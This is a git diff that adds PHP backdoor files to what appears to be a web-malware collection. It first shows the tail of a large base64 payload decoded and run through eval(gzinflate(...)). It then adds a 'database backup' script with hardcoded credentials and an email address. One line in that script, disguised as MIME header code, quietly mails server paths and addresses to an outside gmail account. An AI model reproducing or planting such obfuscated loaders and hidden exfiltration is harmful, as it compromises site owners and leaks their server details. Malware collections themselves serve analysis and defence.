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 +tu+/uOPmeu691Te1+snt8WzAfyvuG+dzYvrufnRTs1q1U7hTKs9pN5bopbTrNStcfmLfueVW4SZ/ +WtVH/dpDbLvRcZdsyn+1Cc3r8MrsujybdhjI20dPF+eZsYhzrrqY6su+OGka3cHWu+HN3+NzuXMx +qx9vZx0dBuWjXuxe9jGbfTcy7sjzxa/7uprlZvb/onHf85tlpuZLZG3fS6jwn9yfj+5bj6/LMH9o +PRmdg3Kf71/qoPD+p7nYuhXy733En23buJotk7s3cO3cbfbv5bBTkvtZ9Htclf94cX4+tvU1vx96 +/8QuN8V1z3n3sFLaV2wEaukGmkp/cdi5GA+HuJVdr16znk/l4Wr53tGlBvr/tT93dG9nXLqt2el/ +af9k/LlwOnOHtnt0YXFz1xtdqWzu78nqtRmO3UC9njMzOg3M/FM5O2vtnU7eTqW1f6vO7br+6eZV +rjZT+QNcfeo3rqd7y1Z47mNWf+y8n56eZvXJXL88fjuXCpT6+y191nNNaJzfNnm930ZJuWrb08cP +D/lmn5lVfurXNdH/POx7mrpu3F/JJOX3ue9WdqxOzUL073bzS5NrL0LnPnJnT095Lb6gct68MRTp +reneXwqNqn6iNVu147Kj9Sv9e6yPeGbSH4/PNZ/9Cb+6NL23t4aLy0so9mlfN5+3HncHtY7+lX/X +0Xf1lqFhnklut3j+MhrvC6MZvKyPTczNnle2XHdedX+v9zp5XyT9278yXzcuO0ZF2Gv3b57ZkPT7 +cNjbv+thLlGd+xzgSHx/PtfZ+fVKtS+lhutx/HhqDVk4qbx7XzPOT46zc3RmetR5P5+2L3O3UMUe +5ifFgn6R77ui43td9JZ8fje9H43HXzQrX5n2zmz3pzvbO6qadyam9ppItXLxkK/VRJ3987XdP57e +P6iC/nTvRpvLDRK6Uz9RKt2JlByeN6kDPzs60y4f7eX8yEPzrlwt15KdnF+fX+t3xtjd80Ab5R1W ++qrYtw+xfXLjzbbtfu9/V8s3H8/zJnXlXk+y2N2/sPU/nNydeprHfUm6qt8MTQU1PvfRg+OBdF05 +a2mmmJU+q5+X70/LL6ahvKi857aJWscxRtv48bg6ds12tmq6MJjue3G9L3XKjUy04VzvdK3t0lRE +uW5cXhbOrvDO6cq41Z8/df6x1d7afBzuT++nOw+Pl7d3s4r4znyh394+b7bxuPtidguLtnb9cN6r +GbfvZmt7I+8Om27GFsdTNyzuO1Mrues+P9u5Luzq6vbjL3jXSzZZVOz+VpIFc6/Se79qVF7XxmHv +Rn68vu3P3ZP+mreZz9wU0I8ZXmd7z6bGwqalyv3FbM9rbd/Jla2jWs7L6kO+4zsXVrKB07yqdynG +/bdze7zYms/0j7LMmyUMw1S1V9o/E/mOt2dq/mtTq9/3jtHfTbU1y2p1rvcxuKpmKc5K/aPnjFy1 +z33Rkr5q9GNoXtfS93vYr9c6uP9rZ2XzcL8wedrqZli8M/dPjfUnXPMe96Q47xxfewMpK45155Tq +r3556jfF2rScNd52ueT24S5/f3Va2e3mjeZc/bu41ai9yTXP8KyRhc/vPQis30Tojo9I3Ktfj+84 +snb7Y7V8q3fpm60ZWh2jitoxpfdq2mookn7SqZau8O3g8bx6fXjlab1LJjy6uJ/tl7b568Sg8S/m +6KRsP0kDbzVqF84teu6yN9qp27zp/29s2n7vp3szNHLcsOX+Sr3YHL+pe/7KRnWjOjol0wKZ/diV +fnzmnd82J0PaGY0cp5DbdqX1RVRzFHT9qg2PVSqtTJIHyVjWX3dbbOwggXZnk0zvP0ot2cVnQazV +ndHEjTeqXnevJ0dJogHa675z1pEF9Wj3L3KfriqY9Xt51a9l+9uGifqwatZf+47mh35m57p7d08/ +PLy+7RrqwPcwV3K42q87lzcdc+9lpeapbFo4fZv529rxvKH2/M5Lzyl6z8FIwL+VTtVwd7uzuZrx +OWRrK2drtS+14+mJpw+OOUT8xCjvpfFfazvcd259VysfNwo4wnzvzh/JeRbp62ZlJd5WLbKf84Iy +cvXvp4dG5qWavy2792Dxuzgcdv/Ngn99eyc30cyc/vqhk3fruZNAyr9MWksp7O4K+mcvKzW3H6jx +07yTZ0Mfy1VV6Om6ePGszr3fWmShqprt5kZnMzwo9P//Qb97o1qBidCqWbu5J6cfReSVz3p7082W +hOTzJ9Jubx4X785y5u59/Tt84Nw9nNWnc3c5X5vN5d1ar93v1snasd3Xr+Kxib5fvW2bNmOqjm+N +8NZMe3KvPOhriB+F5Ij8MRvWymju9utafHwvPl9unDy/t1nGhPK6aZ6fPw7SZLWjZyun4xj6rP+y +Usw0t51fz93U125teTPb2Htozf7edqwm7/cLktHozRUNWG453Gi/utl/duXyoWvas3j+ZKGfy/UV +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"; + +@eval(gzinflate(base64_decode($code))); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/backupsql.txt b/web-malware-collection-master/Backdoors/PHP/backupsql.txt new file mode 100755 index 0000000..5bf310a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/backupsql.txt @@ -0,0 +1,170 @@ +<?php +/* +* Backup script on server. +* +* Runs on the server, called by Cron. Connects to the mySQL +* database and creates a backup file of the whole database. +* Saves to file in current directory. +* +* @author Cow <cow@invisionize.com> +* @version 0.2 +* @date 18/08/2004 +* @package Backup Server +* Upgraded Ver 2.0 (sending sql backup as attachment +* as email attachment, or send to a remote ftp server by +* @co-authors Cool Surfer<Coolsurfer@gmail.com> and +* Neagu Mihai<neagumihai@hotmail.com> +*/ + +set_time_limit(0); +$date = date("mdy-hia"); +$dbserver = "localhost"; +$dbuser = "vhacker_robot"; +$dbpass = "mp2811987"; +$dbname = "tvhacker_vbb3"; +$file = "N-Cool-$date.sql.gz"; +$gzip = TRUE; +$silent = TRUE; + +function write($contents) { + if ($GLOBALS['gzip']) { + gzwrite($GLOBALS['fp'], $contents); + } else { + fwrite($GLOBALS['fp'], $contents); + } +} + +mysql_connect ($dbserver, $dbuser, $dbpass); +mysql_select_db($dbname); + +if ($gzip) { + $fp = gzopen($file, "w"); +} else { + $fp = fopen($file, "w"); +} + +$tables = mysql_query ("SHOW TABLES"); +while ($i = mysql_fetch_array($tables)) { + $i = $i['Tables_in_'.$dbname]; + + if (!$silent) { + echo "Backing up table ".$i."\n"; + } + + // Create DB code + $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i)); + + write($create['Create Table'].";\n\n"); + + // DB Table content itself + $sql = mysql_query ("SELECT * FROM ".$i); + if (mysql_num_rows($sql)) { + while ($row = mysql_fetch_row($sql)) { + foreach ($row as $j => $k) { + $row[$j] = "'".mysql_escape_string($k)."'"; + } + + write("INSERT INTO $i VALUES(".implode(",", $row).");\n"); + } + } +} + +$gzip ? gzclose($fp) : fclose ($fp); + +// Optional Options You May Optionally Configure + +$use_gzip = "yes"; // Set to No if you don't want the files sent in .gz format +$remove_sql_file = "no"; // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended. +$remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no" + +// Configure the path that this script resides on your server. + +$savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash! + +$send_email = "yes"; /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */ +$to = "lehungtk@gmail.com"; // Who to send the emails to, enter ur correct id. +$from = "Neu-Cool@email.com"; // Who should the emails be sent from?, may change it. + +$senddate = date("j F Y"); + +$subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent. +$message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message. + +$use_ftp = ""; // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines +$ftp_server = "localhost"; // FTP hostname +$ftp_user_name = "ftp_username"; // FTP username +$ftp_user_pass = "ftp_password"; // FTP password +$ftp_path = "/"; // This is the path to upload on your ftp server! + +// Do not Modify below this line! It will void your warranty :-D! + +$date = date("mdy-hia"); +$filename = "$savepath/$dbname-$date.sql"; + +if($use_gzip=="yes"){ +$filename2 = $file; +} else { +$filename2 = "$savepath/$dbname-$date.sql"; +} + + +if($send_email == "yes" ){ +$fileatt_type = filetype($filename2); +$fileatt_name = "".$dbname."-".$date."_sql.tar.gz"; + +$headers = "From: $from"; + +// Read the file to be attached ('rb' = read binary) +echo "Openning archive for attaching:".$filename2; +$file = fopen($filename2,'rb'); +$data = fread($file,filesize($filename2)); +fclose($file); + +// Generate a boundary string +$semi_rand = md5(time()); +$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; + +// Add the headers for a file attachment +$headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + +// Add a multipart boundary above the plain message +$message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; 